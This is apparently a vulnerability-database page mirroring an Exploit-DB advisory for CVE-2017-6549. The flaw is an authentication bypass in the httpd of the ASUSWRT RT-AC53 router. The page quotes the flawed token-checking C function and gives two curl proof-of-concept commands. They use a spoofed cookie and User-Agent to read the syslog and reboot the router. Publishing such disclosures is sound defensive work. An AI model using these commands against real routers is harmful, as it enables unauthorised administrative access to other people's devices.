Lucene search
K

ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Session Stealing

🗓️ 08 Mar 2017 00:00:00Reported by Bruno BierbaumerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 50 Views

ASUSWRT RT-AC53 httpd Session Stealing CVE-2017-654

Related
Code
ReporterTitlePublishedViews
Family
Check Point Advisories
ASUSWRT AC53 Session Stealing Remote Command Execution (CVE-2017-6549)
15 Jul 201800:00
checkpoint_advisories
CVE
CVE-2017-6549
9 Mar 201709:26
cve
Cvelist
CVE-2017-6549
9 Mar 201709:26
cvelist
exploitpack
ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Session Stealing
8 Mar 201700:00
exploitpack
NVD
CVE-2017-6549
9 Mar 201709:59
nvd
OSV
CVE-2017-6549
9 Mar 201709:59
osv
Packet Storm
ASUS WRT Session Hijacking Nmap NSE Script
7 Apr 201700:00
packetstorm
Prion
Session fixation
9 Mar 201709:59
prion
seebug.org
ASUSWRT - Multiple Vulnerabilities
10 Mar 201700:00
seebug
seebug.org
Asus_DeleteOfflineClientOverflow
26 Dec 201700:00
seebug
Rows per page
Session Stealing

Component: httpd

CVE: CVE-2017-6549

Vulnerability:

httpd uses the function search_token_in_list to validate if a user is logged into the admin interface by checking his asus_token value. There seems to be a branch which could be a failed attempt to build in a logout functionality.

asus_token_t* search_token_in_list(char* token, asus_token_t **prev)
{
    asus_token_t *ptr = head;
    asus_token_t *tmp = NULL;
    int found = 0;
    char *cp = NULL;

    while(ptr != NULL)
    {
        if(!strncmp(token, ptr->token, 32)) {
            found = 1;
            break;
        }
        else if(strncmp(token, "cgi_logout", 10) == 0) {
            cp = strtok(ptr->useragent, "-");

            if(strcmp(cp, "asusrouter") != 0) {
                found = 1;
                break;
            }
        }
        else {
            tmp = ptr;
            ptr = ptr->next;
        }
    }
    
    if(found == 1) {
        if(prev)
            *prev = tmp;
        return ptr;
    }   
    else {
        return NULL;
    }
}
If an attacker sets his cookie value to cgi_logout and puts asusrouter-Windows-IFTTT-1.0 into his User-Agent header he will be treated as signed-in if any other administrator session is active.

PoC:

# read syslog
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/syslog.txt

#reboot router
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/apply.cgi1 -d 'action_mode=reboot&action_script=&action_wait=70'
It’s possible to execute arbitrary commands on the router if any admin session is currently active.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Mar 2017 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 38.8
CVSS 29.3
EPSS0.24524
50